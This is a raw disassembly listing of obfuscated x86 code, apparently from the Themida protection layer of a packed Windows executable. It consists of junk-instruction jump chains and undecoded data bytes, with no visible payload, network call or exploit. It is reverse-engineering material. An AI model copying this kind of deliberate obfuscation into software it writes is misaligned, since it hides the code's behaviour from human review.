		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebp, 4
		push	343Ah
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		or	dl, 0C9h
		jmp	loc_54F733
; ---------------------------------------------------------------------------
		db 89h
		dd 0EA815EF2h, 48433B77h, 2112EA81h, 0F74A09C9h, 0E9DAF7D2h
		dd 74DCh, 8B2434FFh, 8957240Ch,	4C781E7h, 83000000h, 3C8704EFh
		dd 1C895C24h, 4DE95424h, 81000014h, 394FC7C2h, 81DA013Ch
		dd 394FC7EAh, 0DEEA813Ch, 5B581E1Eh, 2474FF52h,	48F5A04h
		dd 24248B24h, 0FFD0FFE9h, 4EF81FFh, 87000000h, 1AE9243Ch
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_551B27:				; CODE XREF: Themida_:00559E02j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 1F5C7837h
		shl	esi, 1
		add	esi, 0C1470F94h
		sub	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		xor	ebx, [esp]
		jmp	loc_553DE4
; ---------------------------------------------------------------------------
aS?		db '^é?~',0
		align 10h
		dd 83241C8Bh, 9D6104C4h, 6CF4E9h, 57E28900h, 1CBBB53h
		dd 23E92EFAh
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551B6B:				; CODE XREF: Themida_:00555D58j
		xor	eax, ecx
		push	19E4h
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_55AA24
; ---------------------------------------------------------------------------
		dd offset dword_543858+610h
		dd 241C8900h, 8904EC83h, 0E9572414h, 6B15h, 964AE9ACh
		dd 0BA0000h, 0E9000000h, 4F96h
; ---------------------------------------------------------------------------


loc_551BA0:				; CODE XREF: Themida_:0055ADEFj
		add	edi, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_551297
; ---------------------------------------------------------------------------
		db 68h,	0E8h, 2Ch
		dd 41E94B7Ah, 5BFFFFFDh, 5C243C87h, 5C24048Fh, 240CD366h
		dd 0CE82E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551BDA:				; CODE XREF: Themida_:005589F2j
		pop	edi
		sub	esi, 5504705Eh
		jmp	loc_554A1E
; ---------------------------------------------------------------------------


loc_551BE6:				; CODE XREF: Themida_:0055765Aj
		mov	ebp, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		or	eax, eax
		jz	loc_555B2F
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_5556EF
; ---------------------------------------------------------------------------
		db 0BAh
		dd 45E871B5h, 5103EAC1h, 0FFD751E9h, 7EAC1FFh, 988E9h
		db 0
; ---------------------------------------------------------------------------


loc_551C21:				; CODE XREF: Themida_:0054FC3Dj
		mov	esi, ebx
		pop	ebx
		add	esi, 1C7821A6h
		jmp	loc_54FF36
; ---------------------------------------------------------------------------


loc_551C2F:				; CODE XREF: Themida_:005538E6j
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	66B7h
		mov	[esp], ebx
		mov	ebx, esp
		push	ebp
		push	edx
		mov	edx, 23374975h
		push	esi
		mov	esi, 27AF3227h
		not	esi
		jmp	loc_55AE7D
; ---------------------------------------------------------------------------


loc_551C59:				; CODE XREF: Themida_:00557FA3j
		push	221h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_552305
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E92434FFh, 0FFFFF324h, 240C8B66h, 0FFF295E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551C81:				; CODE XREF: Themida_:00557355j
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		jmp	loc_551866
; ---------------------------------------------------------------------------
		dd 405h, 40500h, 4A680000h, 89000079h, 74FF2404h, 5AE90424h
		db 4Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551CA7:				; CODE XREF: Themida_:0055AEF9j
		pop	ecx
		add	esp, 4
		jmp	loc_55633C
; ---------------------------------------------------------------------------
		db 1
		dd 0A5E95EF2h, 81000002h, 5D02B1F3h, 81D3F718h,	77C9B3EBh
		dd 4DEF81E7h, 115006Bh,	685055DFh, 1D31789Ah, 17590558h
		dd 732D6C2Ah, 5515931h,	2A03EBCAh, 0F7E9C589h, 8300004Bh
		dd 148B04C4h, 4C48124h,	57000000h, 0FFD9FAE9h, 242C31FFh
		dd 3E6CE9h, 50E78900h, 4B8h, 0E9C70100h, 206Eh,	0A16BD7B9h
		dd 0E9CE3169h, 4A27h, 8B3C77FFh, 54572404h, 55243C8Bh
		dd 4EC81h, 52E90000h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551D3B:				; CODE XREF: Themida_:005526A3j
		inc	ebp
		jmp	loc_55966D
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 24h
		dd 0DC21E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551D4A:				; CODE XREF: Themida_:00555312j
		pop	esi
		sub	edx, 35E50B5Fh
		sub	edx, ecx
		jmp	loc_555EAA
; ---------------------------------------------------------------------------
		dd 24048966h, 0FFCCFBE9h, 0DE956FFh, 8B00005Bh,	0C481241Ch
		dd 4, 0C8BCD01h, 4C48324h, 4ED81h, 2C870000h, 14895C24h
		dd 0E99C5024h, 0FFFFCCD0h
; ---------------------------------------------------------------------------


loc_551D8C:				; CODE XREF: Themida_:00557545j
		mov	ebp, 2E01D55Ah
		add	edx, ebp
		jmp	loc_5582A3
; ---------------------------------------------------------------------------
		dd 17E9C331h, 81000058h, 0BB3085EBh, 1C87581Ch,	0C80F5C24h
		dd 414E955h, 0C1FE0000h, 0E95AB753h, 0FFFFDA13h
; ---------------------------------------------------------------------------


loc_551DBC:				; CODE XREF: Themida_:0055266Fj
		push	ebp
		mov	ebp, 19B22D82h
		xor	edi, ebp
		jmp	loc_5532CD
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 83000000h, 1C8704EBh, 0F48CE924h, 0E958FFFFh, 8C59h
		dd 24048F59h, 0B5B6525Ch, 5351CEFEh, 0D7F6ACB7h, 0F64EEF80h
		dd 5CE780DFh, 0EF80C7FEh, 0F5F4E9C7h, 5B59FFFFh, 4B951h
		dd 0B7E90000h, 8800005Ah, 0C3285AD0h, 80EB8058h, 0C380C300h
		dd 3228E980h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551E22:				; CODE XREF: Themida_:00550083j
		push	eax
		mov	eax, 0
		add	eax, edx
		add	dword ptr [eax], 1
		pop	eax
		pop	edx


loc_551E32:				; CODE XREF: Themida_:0055AF9Dj
		push	35A0h
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_54EC95
; ---------------------------------------------------------------------------


loc_551E42:				; CODE XREF: Themida_:005580B9j
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_557253
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 5B5A450Dh, 2434875Fh, 0C8B60F5Ch, 53E78957h,	8874A1BBh
		dd 0D3F74319h, 0F381D3F7h, 198874A6h, 505BDF01h, 465768h
		dd 24348900h, 4BEh, 81565100h, 10872434h, 50591A76h, 9862EDB8h
		dd 5DD12D43h, 0E0C14E7Bh, 7D030D07h, 0D8F741CAh, 0BEF0762Dh
		dd 8BC13115h, 0C4812404h, 4, 0CEE9C889h, 89000039h, 405E0h
		dd 0C0830000h, 24048704h, 2CDBE95Ch, 31580000h,	0ED32E9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551ED2:				; CODE XREF: Themida_:0055AF04j
		add	esi, eax
		pop	eax
		push	edx
		mov	edx, 2EE9076Ah
		sub	edx, 49892241h
		jmp	loc_54ED63
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 14FB307Eh, 0A87CB850h, 0C12958FAh, 4343E9h, 2C895C00h
		dd 5EFFBD24h, 0B9516461h, 7B4707F3h, 5559C829h,	7864F7BDh
		dd 0F9CD8142h, 0C14DC174h, 0E5C104EDh, 0D0AEE907h, 0EC30FFFFh
		dd 6866C586h, 896611FBh, 0C388241Ch, 0D888D3F6h, 241C8B66h
		dd 3002C483h, 30E830C5h, 885366C5h, 88E588EBh, 525B66DCh
		dd 88E18851h, 648A59CAh, 54880424h, 0E95A0424h,	0FFFFCAFCh
		dd 148BD031h, 8BDCE924h, 0CE810000h, 66320E4Dh,	2101C681h
		dd 0C6290100h, 0FFE1E1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551F7D:				; CODE XREF: Themida_:00559A1Ej
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		shr	ebp, 5
		sub	ebp, 0D1A687D5h
		add	edx, ebp
		pop	ebp
		jmp	loc_54EA5C
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_54FFF9
; ---------------------------------------------------------------------------
		db 5
		dd 0C21CCE93h, 48BC601h, 4C48324h, 4BA52h, 0D6290000h
		dd 2434875Ah, 8924248Bh, 74FF2404h, 0BE90424h, 0BAFFFFFEh
		dd 6E27019Ah, 6F8FE9h, 4C48300h, 31240433h, 4332404h, 24248B24h
		dd 24048B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5561B5
; ---------------------------------------------------------------------------
aSf9		db ')êé”9',0
		dw 8F00h
		dd 248B2404h, 83505324h, 0C8904ECh, 0FEA1B524h,	0C0D5F6C5h
		dd 0CD8005EDh, 66C5807Dh, 5259EC88h, 0C2805CB2h, 30C480F3h
		dd 60F7E9h
		db 0
; ---------------------------------------------------------------------------


loc_552035:				; CODE XREF: Themida_:0055A776j
		pop	ecx
		not	ebx
		inc	ebx
		xchg	edi, ebx
		not	edi
		jmp	loc_552C21
; ---------------------------------------------------------------------------
		dw 0F000h
		dd 561C685Ah, 14890000h, 0E2B45024h, 827FE9h, 2EC8300h
		dd 24048966h, 822E9h, 24148B00h, 0FFE7FAE9h, 4C483FFh
		dd 189EEE81h, 0F6812232h, 14B77A5Fh, 2C3C681h, 0F68177C8h
		dd 0F2BF0218h, 0E95EF301h, 45DEh, 83240C8Bh, 0E95604C4h
		dd 58B4h
; ---------------------------------------------------------------------------


loc_552098:				; CODE XREF: Themida_:00550F89j
		mov	eax, 4
		push	edi
		jmp	loc_5538EB
; ---------------------------------------------------------------------------


loc_5520A3:				; CODE XREF: Themida_:00556B5Dj
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_559324
; ---------------------------------------------------------------------------
		dw 8956h
		dd 2AF168E6h, 4890000h,	53E08924h, 765FE9h, 81E18900h
		dd 4C1h, 4C18100h, 87000000h, 815C240Ch, 4C4h, 2434FF00h
		dd 81240C8Bh, 4ECh, 24148900h, 0C281E289h, 4, 4C281h, 0EFE90000h
		dd 8B00000Dh, 29662424h, 0E99C2404h, 0FFFFC954h, 2BE0E981h
		dd 875E0E1Dh, 84E9240Ch, 59000054h, 0EB809804h,	7CFEE997h
		dd 0C4810000h, 4, 5656E9h, 0ADBE5600h, 51675613h, 3C44E9h
		dd 59CB0100h, 0F95E9h, 14F75500h, 0D28EE924h, 0C381FFFFh
		dd 4, 1559E9h, 0C902E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55215A:				; CODE XREF: Themida_:005522C0j
		sub	ebx, 44003445h
		add	ebx, eax
		add	ebx, 44003445h
		pop	eax
		and	ecx, ebx
		pop	ebx
		shr	ecx, 0
		or	eax, eax
		jz	loc_559296
		push	36E4h
		mov	[esp], ecx
		push	6AD2h
		jmp	loc_556A6B
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 5804C483h, 50BE5655h, 52270150h, 757AA9BAh, 5AD63115h
		dd 7ED7E9h, 48B6600h, 23E95124h, 0D0FFFFE4h, 0ECF580EDh
		dd 0E915ED80h, 1690h, 66D830ACh, 0F60CE952h, 0E589FFFFh
		dd 17E9BA52h, 0E28111E8h, 3E8431DFh, 51E9E9h, 242C8900h
		dd 0F05594BDh, 68CD810Fh, 0E927631Fh, 66A1h
; ---------------------------------------------------------------------------


loc_5521EC:				; CODE XREF: Themida_:00559FC4j
		add	esi, 28B61C40h
		sub	esi, 5B564B16h
		mov	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	esi, 26DD46FBh
		sub	esi, ecx
		add	esi, 26DD46FBh
		pop	ecx
		mov	edx, esi
		pop	esi
		add	edx, edi
		push	dword ptr [edx]
		add	dword ptr [esp], 73A12197h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	eax, 73A12197h
		pop	edx
		push	5069h
		jmp	loc_558D0E
; ---------------------------------------------------------------------------


loc_552237:				; CODE XREF: Themida_:00557E6Ej
		push	ebx
		mov	ebx, 508013A6h
		sub	eax, ebx
		pop	ebx
		sub	eax, edx
		add	eax, 508013A6h
		add	eax, 515424B6h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ecx
		push	edi
		mov	edi, 35C2778Ch
		push	ebx
		mov	ebx, 4CFF7C3Bh
		add	ebx, 40590298h
		add	ebx, 1E0C2777h
		add	ebx, 1
		sub	ebx, 1
		and	ebx, 35A464B7h
		xor	ebx, 655C3664h
		add	edi, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 3536ADDh
		jmp	loc_552BE5
; ---------------------------------------------------------------------------
		db 1, 0F3h, 5Eh
		dd 5304C383h, 1C6E9h
		db 0
; ---------------------------------------------------------------------------


loc_5522A9:				; CODE XREF: Themida_:0055356Aj
		shr	eax, 18h
		jmp	loc_5527B7
; ---------------------------------------------------------------------------
		db 66h,	0B9h, 9Bh
		dd 0E9816606h, 0C8E93F09h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5522BF:				; CODE XREF: Themida_:0055117Fj
		pop	edi
		jmp	loc_55215A
; ---------------------------------------------------------------------------


loc_5522C5:				; CODE XREF: Themida_:00553A48j
		push	ebp
		mov	ebp, 7B9B5089h
		add	ebp, 42ED7AAFh
		jmp	loc_550342
; ---------------------------------------------------------------------------


loc_5522D6:				; CODE XREF: Themida_:00557309j
		push	edx
		jmp	loc_5546B5
; ---------------------------------------------------------------------------


loc_5522DC:				; CODE XREF: Themida_:005574C8j
		push	ebx
		add	dword ptr [esp], 57A728DCh
		jmp	loc_54F011
; ---------------------------------------------------------------------------
aSai		db '!Ú[éíI',0
		dd 91C38100h, 0FF3DDD35h, 68582434h, 7D25h, 3D16E9h
		db 0
; ---------------------------------------------------------------------------


loc_552305:				; CODE XREF: Themida_:00551C68j
		pop	ebp
		add	ebp, 4
		push	esi
		jmp	loc_5566B7
; ---------------------------------------------------------------------------


loc_552312:				; CODE XREF: Themida_:005558D4j
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_550307
; ---------------------------------------------------------------------------
		db 5Fh,	83h, 0C4h
		dd 429E904h, 34FF0000h,	24048B24h, 4C481h, 0BE680000h
		dd 0E9000018h, 14BDh, 7CB4C781h, 0EFC13EFEh, 0E4E78107h
		dd 0E94E2864h, 58FBh, 0FFC707E9h, 4C481FFh, 40000000h
		dd 6B17BF57h, 0EF812680h, 41B52E93h, 0D36CF81h,	0EFC155EEh
		dd 0AC78105h, 4F0C2620h, 0D31CC781h, 0F829E5E6h, 0E55FE95Fh
		dd 0E95BFFFFh, 692h, 0FF24248Bh, 8BE92434h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552397:				; CODE XREF: Themida_:005548FCj
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		push	ebx
		mov	ebx, 698F44F8h
		dec	ebx
		not	ebx
		shr	ebx, 2
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		mov	ecx, 3CC35DE9h
		jmp	loc_556993
; ---------------------------------------------------------------------------
		dd 2424D366h, 0C692E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5523CA:				; CODE XREF: Themida_:005578D9j
		pop	edi
		push	edx
		mov	edx, 19AB4197h
		or	ebp, edx
		pop	edx
		jmp	loc_5572AC
; ---------------------------------------------------------------------------
		db 66h,	0Fh, 0B6h
aS_5		db 'Ìé×*',0
		align 2
		dw 8B66h
		dd 0C1682404h, 89000036h, 0E389241Ch, 4B951h, 0B6680000h
		dd 8900003Fh, 23BF243Ch, 8715361Eh, 87D1F7CFh, 4E7C1CFh
		dd 3DDE953h, 0E8280000h, 62EFE9h, 48B6600h, 38AAE924h
		dd 0C9810000h, 60D31519h, 0FFD654E9h, 0EC8150FFh, 4, 435EE9h
		dd 0E9E18900h, 68E9h, 0EB81D329h, 4FDF44C0h, 0E9008F5Ah
		dd 0FFFFD263h, 0ED81D5F7h, 46C07058h, 144ACD81h, 0AFE95368h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552463:				; CODE XREF: Themida_:00557F4Aj
		push	dword ptr [edi+eax*4]
		mov	eax, [esp]
		push	ebx
		jmp	loc_5536C2
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5B042474h, 8B24048Fh, 48F2424h, 49B8E924h, 88B40000h
		dd 0FFC677E9h, 8BD028FFh, 0C4832414h, 0E288E904h, 66ACFFFFh
		dd 661FFA68h, 50240C89h, 0EC8028B4h, 5ECC061h, 0F480DCF6h
		dd 8BE1884Ch, 0C4812404h, 4, 8008E1C0h,	83E9A2C1h, 0FFFFFFEBh
		dd 48B2434h, 4C48124h, 0E9000000h, 5497h, 158C589h, 242C8BE8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55595D
; ---------------------------------------------------------------------------
		dd 31243C33h, 3C33243Ch, 4215C24h, 65E99C24h, 89FFFFC5h
		dd 71682404h, 0E9000020h, 5639h, 0CE86D1F6h, 0E95AF388h
		dd 0FFFFDEFAh, 2404895Ch, 0FFC543E9h, 0B5C581FFh, 8123FB4Ah
		dd 4ECh, 242C8900h, 242C8B5Bh, 5304C483h, 7EE95453h, 68FFFFF2h
		dd 2B7h, 0E9241489h, 1F6h, 0E828F104h, 0C8BF12Ch, 0E6895624h
		dd 3F06E9h, 245C2900h, 0F2FE908h, 215A0000h, 0BAE95EF5h
		dd 5D000018h, 45FEED81h, 0CFE948C3h, 5000005Eh,	2E89E9h
		dd 34B95100h, 0F76C2578h, 0FFE983D1h, 2D29F181h, 0F18100FBh
		dd 989A9D5Dh, 242C8151h, 58660961h, 0FFCDEEE9h,	2EE954FFh
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5525A3:				; CODE XREF: Themida_:00556199j
		pop	ebp
		jmp	loc_5504C0
; ---------------------------------------------------------------------------
		db 81h,	0CAh, 9Dh
		dd 8137810Fh, 219EA6EAh, 0E9CDh, 0D7010000h, 46A4685Ah
		dd 2C890000h, 4187BD24h, 0EF812BB8h, 26C3A45h, 0BE56EF29h
		dd 23E51D16h, 0FEBE681h, 0D6F7503Ah, 0F703E6C1h, 15C681DEh
		dd 81163673h, 5AE168F6h, 5EF70115h, 56EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5525F9:				; CODE XREF: Themida_:00551441j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		push	ebp
		mov	ebp, 7B4026B2h
		jmp	loc_54FF10
; ---------------------------------------------------------------------------
		db 68h,	0Fh, 25h
		dd 8F540000h, 4832404h,	34FF0424h, 0C4815D24h, 4, 8E953h
		dd 0E1890000h, 0E13DE957h, 14BBFFFFh, 0F745AC3Ah, 0D761E9DBh
		dd 0E95DFFFFh, 3351h, 46E95B5Ah
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552657:				; CODE XREF: Themida_:00559BD7j
		mov	[esp], ebx
		push	eax
		push	edi
		mov	edi, 774E5AADh
		add	edi, 1
		inc	edi
		inc	edi
		xor	edi, 5AE22B6Bh
		jmp	loc_551DBC
; ---------------------------------------------------------------------------
		dd 2EC8359h, 241C8966h,	0E9F5B050h, 492Fh
; ---------------------------------------------------------------------------


loc_552684:				; CODE XREF: Themida_:0054FF3Bj
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_553818
; ---------------------------------------------------------------------------


loc_552692:				; CODE XREF: Themida_:00555DDBj
		mov	ebp, 36AF664Ch
		or	ebp, 30423369h
		xor	ebp, 8315F4Ah
		jmp	loc_551D3B
; ---------------------------------------------------------------------------
		dd 0BE6DA6BFh, 0D611E968h, 7F83FFFFh, 840F0020h, 0FFFFFE73h
		dd 0DD685752h, 5F52D557h, 6F00F781h, 0FA894C61h, 12D0E95Fh
		dd 8B660000h, 0EC832404h, 24148904h, 0C281E289h, 4, 15FBE56h
		dd 0C68118A7h, 68581818h, 1975EE81h, 515380FFh,	0FFEC07E9h
		dd 0BF57ADFFh, 61554128h, 295FF801h, 17BD55D8h,	817E0915h
		dd 0E855B9C5h, 1C58152h, 81000000h, 4ECh, 24348900h, 323985BEh
		dd 0FFF53141h, 815E2434h, 4C4h,	0D46FE900h, 74FFFFFFh
		dd 148B0424h, 58FCE924h, 8B660000h, 0A3E9240Ch,	8F000075h
		dd 0E95C2404h, 12FDh
; ---------------------------------------------------------------------------


loc_552758:				; CODE XREF: Themida_:0055908Ej
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_552F5A
; ---------------------------------------------------------------------------


loc_55276C:				; CODE XREF: Themida_:0054FEE1j
		add	eax, 6D8F7D96h
		sub	eax, 62E329D6h
		jmp	loc_54ED8D
; ---------------------------------------------------------------------------
		db 0BFh
		dd 72D060CEh, 0F781DFF7h, 79E27C86h, 4DE9D7F7h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55278F:				; CODE XREF: Themida_:00555DF1j
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_558E38
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 34FFF729h, 0A0E95E24h
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5527B7:				; CODE XREF: Themida_:005522ACj
		xor	eax, ecx
		push	eax
		xchg	esi, [esp]
		jmp	loc_54F531
; ---------------------------------------------------------------------------
		dw 95E9h
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5527C7:				; CODE XREF: Themida_:005591EFj
		mov	esp, [esp]
		push	794Eh
		mov	[esp], ebp
		push	edi
		push	edx
		mov	edx, 60316563h
		jmp	loc_550CEE
; ---------------------------------------------------------------------------
		dw 0F829h
		dd 5F0015Fh, 5E815B5Dh,	0D0E95A5Eh, 0BBFFFFDEh,	5BB4343Ch
		dd 815BDF01h, 0EB0872EBh, 0E9FB290Fh, 3733h, 8B242C87h
		dd 8B662424h, 82E92404h, 0BD000059h, 4DCF1326h,	5620CD81h
		dd 4CE93648h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552823:				; CODE XREF: Themida_:00550836j
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_54FCAC
; ---------------------------------------------------------------------------


loc_552833:				; CODE XREF: Themida_:0055397Fj
		pop	esp
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5505AB
; ---------------------------------------------------------------------------


loc_55283F:				; CODE XREF: Themida_:00555AC9j
		xor	ebp, 7A3602A4h
		sub	edi, 1F581BFAh
		jmp	$+5
		add	edi, ebp
		add	edi, 1F581BFAh
		pop	ebp
		jmp	loc_55A229
; ---------------------------------------------------------------------------
aIsfyfrSic	db 'ˆèfYfR¶~é›C',0
		dw 0B00h
		dd 30840FC9h, 53000014h, 84F5E9h, 7587BB00h, 0DFE9755Eh
		dd 0B0FFFFC5h, 0F612349Ah, 28842CD0h, 8313E9C3h, 9DBB0000h
		dd 31578B0Eh, 2434FFD8h, 0E957535Bh, 0FFFFD4FAh, 51241C89h
		dd 1B45A1B9h, 4CF1814Dh, 0F7464A63h, 76E981D9h,	0C12F1665h
		dd 0F18105E1h, 0D56B2BF1h, 0C8B5B51h, 4C48324h,	326CC281h
		dd 0DA015A33h, 64A6E9h
		db 0
; ---------------------------------------------------------------------------


loc_5528D9:				; CODE XREF: Themida_:0055988Cj
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_5572EE
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 24043304h, 33240431h, 74E92404h, 59000071h, 610C6334h
		dd 5107E0C0h, 0C83026B1h, 0FFF80AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55290D:				; CODE XREF: Themida_:00558371j
		push	dword ptr [esp]
		pop	eax
		push	7C43h
		jmp	loc_55625B
; ---------------------------------------------------------------------------


loc_55291B:				; CODE XREF: Themida_:00556CB7j
		mov	ecx, 4
		jmp	loc_54EED8
; ---------------------------------------------------------------------------
		db 0ACh, 30h, 0D8h
		dd 0CE95052h, 1FFFFDFh,	0C0DE9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552936:				; CODE XREF: Themida_:0055A856j
		jmp	loc_54EA5C
; ---------------------------------------------------------------------------


loc_55293B:				; CODE XREF: Themida_:00555323j
		pop	eax
		xchg	edi, [esp]
		pop	esp
		add	esp, 4
		movzx	ecx, ax
		push	1098h
		jmp	loc_54EDCD
; ---------------------------------------------------------------------------


loc_552950:				; CODE XREF: Themida_:0055581Dj
		add	eax, 4B081557h
		push	esi
		jmp	loc_554227
; ---------------------------------------------------------------------------
		db 66h
		dd 81240C8Bh, 4ECh, 24148900h, 0FDE9E289h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55296F:				; CODE XREF: Themida_:00554211j
		add	edx, 4
		jmp	loc_550E6E
; ---------------------------------------------------------------------------


loc_55297A:				; CODE XREF: Themida_:0054FA54j
		push	4E72h
		jmp	loc_556E45
; ---------------------------------------------------------------------------
		dd 4C481h, 0B9510000h, 65443C72h, 0F757F987h, 515F2414h
		dd 4EC81h, 3C890000h, 0D15F5924h, 81D1F7E1h, 8878E1E9h
		dd 59CF01CAh, 4C781h, 0FF570000h, 8B042474h, 0C481243Ch
		dd 4, 8B24048Fh, 89502424h, 405E0h, 0BF570000h,	4, 505FF829h
		dd 23F4E9h, 48B6600h, 230F6824h, 14890000h, 39146824h
		dd 8F540000h, 0B9512404h, 4, 4244C01h, 190EE959h, 0EA810000h
		dd 0BC61057h, 14F7C281h, 0C2810E42h, 4B5E41BEh,	0C03EE95Dh
		dd 0FA01FFFFh, 4296E955h, 1C870000h, 0BE565C24h, 2, 0FFE904E9h
		dd 2CC904FFh, 0E9D8288Ah, 52D5h, 260FC281h, 0EA811C60h
		dd 66F75B41h, 0FFDE40E9h, 4B850FFh, 1000000h, 348758C6h
		dd 50535C24h, 567DE9h
		db 0
; ---------------------------------------------------------------------------


loc_552A65:				; CODE XREF: Themida_:0055900Fj
		xor	edi, 0F88F404Dh
		jmp	loc_55124D
; ---------------------------------------------------------------------------
		dd 0C6815E54h, 4, 8704C683h, 248B2434h,	0F206E924h, 48BFFFFh
		dd 0E9545724h, 567h, 5832C581h,	0E9292572h, 2543E9h, 24248B00h
		dd 50C8BE0Fh, 6E9E089h,	52000074h, 0EA80A5B2h, 1C28001h
		dd 0FFC6BBE9h, 4BEFFh, 0BE560000h, 7653683Dh, 4187E9h
		dd 0E9A5B300h, 469Bh, 8AE9D9F7h
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552AD7:				; CODE XREF: Themida_:0055A26Cj
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		mov	eax, esi
		mov	esi, [esp]
		jmp	loc_559123
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 4EC8124h, 89000000h,	0FAE9241Ch
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552B03:				; CODE XREF: Themida_:00555597j
		pop	ecx
		not	ebp
		inc	ebp
		not	ebp
		neg	ebp
		xor	ebp, 0D20F8695h
		sub	ecx, ebp
		pop	ebp
		jmp	loc_556C7A
; ---------------------------------------------------------------------------


loc_552B19:				; CODE XREF: Themida_:00554FAEj
		sub	ebp, esi
		pop	esi
		sub	ebp, ecx
		add	ebp, 69584FAEh
		jmp	loc_557B45
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 32525CDAh, 83240401h, 48904ECh, 1F4EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552B3E:				; CODE XREF: Themida_:0054FEA3j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_557E33
; ---------------------------------------------------------------------------


loc_552B4C:				; CODE XREF: Themida_:0054FDC3j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_557D54
; ---------------------------------------------------------------------------
		db 0C0h, 0ECh, 7
		dd 0C480CCFEh, 0F0E953AEh, 5D00000Bh, 37EBE56h,	22E95327h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552B73:				; CODE XREF: Themida_:00553584j
		pop	ebp
		add	esp, 4
